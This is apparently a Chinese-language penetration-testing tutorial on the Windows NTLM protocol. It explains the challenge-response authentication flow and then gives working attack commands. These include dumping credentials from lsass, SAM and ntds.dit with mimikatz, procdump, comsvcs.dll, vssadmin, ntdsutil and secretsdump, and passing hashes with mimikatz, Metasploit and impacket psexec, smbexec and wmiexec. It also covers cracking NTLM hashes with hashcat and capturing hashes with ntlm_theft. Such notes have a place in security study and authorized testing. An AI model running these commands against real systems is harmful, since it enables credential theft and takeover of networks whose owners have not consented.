域内三大协议—NTLM
参考:
https://www.crowdstrike.com/cybersecurity-101/ntlm-windows-new-technology-lan-manager/
简介
什么是 NTLM
NTML 全称 New Technology LAN Manager,是微软提供的一组安全协议,用来认证用户身份。它是一个基于 质询响应 的协议,在验证用户的过程中不需要传输用户的明文密码。
目前 NTLM 几个常见的使用场景:
- 在域环境中用作 Kerberos 的备份,当Kerberos 失效时,就会使用 NTLM 进行认证。
- 使用本地账户登录时也会使用 NTLM 认证。
- 客户端尝试使用 ip 进行连接,而不是主机名时,也会使用 NTLM 进行认证。
提供服务的 dll 位于 %windir%\Windows\System32\msv1_0.dll
此处的服务器,指代的是 c/s 架构中的服务器。只要向外提供服务的主机,都可以称为服务器。
NTLM 认证过程
认证过程基于 质询/响应 challenge/response,这个认证特点就是不需要传递密码。
认证过程涉及的三个数据交互:
-
协商 Negotiation:客户端向服务端发起认证请求。NEGOTIATE_MESSAGE
-
质询 Challenge:服务端向客户端发送质询。CHALLENGE_MESSAGE
质询就是 64 bit 的随机值。
-
响应 Response:客户端使用用户提供的密码,计算 NT hash,然后使用其来加密质询,并和用户名一起发送给服务端。AUTHENTICATE_MESSAGE
在完成三个阶段的数据交互,服务端就有了两个必要的信息:
- 在第二步中,服务端发送给客户端的质询。
- 在第三步中,从客户端获取到的加密后的质询。
最终服务端只需要将发给客户端的质询使用正确的凭证进行加密处理,并与从客户端接收的加密后的质询进行比对,即可验证用户。但在此步需要根据客户端所请求的用户分情况处理:
- 所请求的账户是目标服务端的本地账户。此时用户凭证储存在目标服务端的 SAM 文件中,服务端即可进行验证。
- 所请求的账户是域账户。此时由于目标服务端没有该账号的凭证,它只能将验证的任务委托给域控。
服务端的本地账户
服务端根据客户端发送的用户名在 SAM 中找到该用户的 NT hash,使用它对 质询 进行加密,然后与从客户端接收的加密的质询进行对比。
域账户
由于服务端没有这个用户的密码 hash。所以只能将任务委派给域控。
服务端将会使用 Netlogon 服务与 DC 建立一个安全的连接。然后通过这个安全的连接向 DC 发送一些信息。上图中第 3 步。这个信息结构称为 NETLOGON_NETWORK_INFO ,它包含三个部分信息:
- 进行认证的用户名。
- 服务端向客户端发送的质询。
- 客户端向服务端发送的经过加密的质询。
DC 接收到这个信息后会在 NTDS.DIT 中寻找目标的 NT hash,进行计算并对比结果。然后会给服务端发送 NETLOGON_VALIDATION_SAM_INFO4 消息,以表示是否认证成功。上图中 456 步
攻击
PTH
全称 Pass-The-Hash ,即传递 hash 。
参考 NTLM 协议认证过程,整个认证过程传递的是密文的hash,所以只要有 hash,我们就可以正常登录。
为什么要传递 hash ?
- 目标机版本 >= win server 2012 时,lsass.exe 进程中是抓不到明文密码。
- 随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到 hash 却解不开的情况。
实际场景中,网络管理员可能会以自动化脚本配置所有计算机。这意味着可能所有计算机的本地管理员账户密码都是一样的。那么只要有一台被劫持获取到了管理员的 hash,就可以通过 psexec 等进行传递 hash 进一步攻击其他主机。
获取 hash
hash 从何而来
-
可以从
lsass.exe
进程的内存中抓取(当前登录的用户) -
域控:ntds.dit 所有域用户的账号/密码 hash 。
域控的 lsass 进程会调用
Ntdsa.dll
和该文件进行交互,所以 lsass 进程中可能会有部分该文件中存储的凭证。 -
非域控:本地账户密文是存储在 SAM 注册表内。SAM 文件
C:\windows\system32\config\SAM
是这个注册表的拷贝。SAM 全称 Security Accounts Manager。它包含被加密过的本地账号及其凭证 NT hash,可以在注册表中找到它,也可以在磁盘上是它的拷贝。但只有 SYSTEM 用户才能访问。
SAM 的解密需要用到 SYSTEM 注册表
普通PC
-
直接访问 lsass 进程内存
-
mimikatz
privilege::debug sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话) sekurlsa::ekeys #获取kerberos加密凭证 lsadump::sam # 获取SAM
-
-
将 lsass 内存进行转储,再解密
-
procdump procdump
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
-
rundll32.exe + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass3.dmp full
解密
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
-
-
将 SAM 转储,再解密
-
从注册表中获取 SAM
SAM文件(加密后的用户密码)SYSTEM文件(秘钥)
reg save hklm\sam sam.hive reg save hklm\system system.hive
-
使用卷拷贝功能,获取磁盘上的 SAM 文件
仅 server 版本才能使用。
vssadmin create shadow /for=C:
# 直接进行拷贝 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SAM C:\EX\sam copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM C:\EX\system # 域控 ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit #或创建符号链接 mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
破解,可以使用下面任一种方法
# mimikatz lsadump::sam /sam:sam.hive /system:system.hive # impacket 工具 secretsdump.py -sam sam.save -system system.save LOCAL
-
-
其它
在具有某些场景下,可以更便捷的获取hash,但具体原理和上面一样。
例如 msf 支持多种 hash 获取方式。
post/windows/gather/hashdump post/windows/gather/smart_hashdump # 或者在meterpreter 的基础上,使用 load kiwi 来加载 mimikatz 模块。 creds_alls kiwi_cmd "privilege::debug" "sekurlsa::logonpasswords" # 调用 mimikatz 命令
域控
首先普通 PC 的 Hash 获取思路,但值得注意的是
-
即使是 DC,常规获取 hash 的思路依然只能获取本地用户的 hash,并不能获取整个域的用户 hash,除非拿到域管 hash。
-
即使是域内用户机,常规获取 hash 的思路依然有可能拿到域管理员的 hash,只要域管理员通过 RDP 登录过,就会将 hash 保存到lsass中。
-
导出 NTDS.dit 转储
使用域控命令导出
ntdsutil "Activate Instance ntds" "ifm" "create full c:\copy-ntds" quit quit
同样需要导出 SYSTEM 注册表进行解密用。
此处同样可以使用卷拷贝功能。
提取工具
python secretsdump.py -system SYSTEM -ntds ntds.dit local -outputfile credentials.txt
-
或者使用脚本进行提取
python secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
传递 hash
-
MimiKatz
privilege::debug sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:powershell.exe
将获取的 Administrator 的 Hash 添加进 lsass 中。
-
MSF 模块
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令 exploit/windows/smb/psexec // 用psexec执行系统命令 exploit/windows/smb/psexec_psh // 使用powershell作为payload
-
Impacket python 第三方库
python smbexec.py -hash aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181 python smbexec.py -hashes :0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181 # [NTLM] python psexec.py test@11.11.11.25 -hashes A********BCDE:84********83 -c calc.exe # [Kerberos] python psexec.py abc.com/administrator@swg.abc.com -k -hashes E****DA:E****B6 -c calc.exe python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@192.168.52.138 "命令" python wmiexec.py -hashes 0000000:4d6e43b2cdc951808100f5b1d09aac63 god/administrator@192.168.52.138 "whoami"
静态编译版 https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries
破解 hash
-
在线 ophcrack
https://www.objectif-securite.ch/en/ophcrack
也有离线版
-
hashcat
./hashcat -m xx -a 0 <hashfile> <passwords.list1> <passwords.list2> ./hashcat -m 1000 -a 0 hash.txt -o result.txt passwords.txt ./hashcat -m 1000 -a 0 NTLM Hash passwords.txt
PTH 的限制
windows 上,权限的具体实现是通过 access tokens 来描述的。而管理员组的用户通常有两个 access token,一个是普通权限的 access token,另一个是管理员权限的 access token。一般情况下,只有在选择以管理员身份运行时才会弹出 UAC (User Account Control) 来询问用户是否确认此操作。如果用户同意,则将会以管理员的权限运行该程序。
所以,即使使用了管理员的 hash,传递 hash 成功,也不一定能以管理员身份在其它主机上执行命令。具体有以下两种情况:
-
如果使用位于目标主机上管理员组的域账户。那么UAC 不会阻拦,可以直接以管理员身份执行。
-
如果使用位于目标主机上管理员组的本地账户。那么UAC 的拦截与否与几个注册表值有关,默认情况下是拦截的。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- LocalAccountTokenFilterPolicy:默认为 0
- 0:只有内置管理员(RID 500) 才不会阻拦。
- 1:所有位于管理员组的用户 都能执行远程管理员任务。
- FilterAdministratorToken:
- 0:内置管理员 可以 执行远程管理员任务。
- 1:内置管理员 不可以 执行远程管理员任务。
- LocalAccountTokenFilterPolicy:默认为 0
社工hash窃取
ntlm_theft
ntlm 嗅探,嗅探到再进行离线破解。不适用于 NTLMv2
python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
局域网环境,密码为弱密码。
hashcat -m 5600 hashes/Querier.ntlmv2 /usr/share/wordlists/rockyou.txt --force
清除 smb 凭证缓存
在dos窗口中输入control userpasswords2或者control keymgr.dll,然后【高级】/【密码管理】,删掉保存的该机器密码。
【电脑---管理---服务】里边重启一下Workstation服务。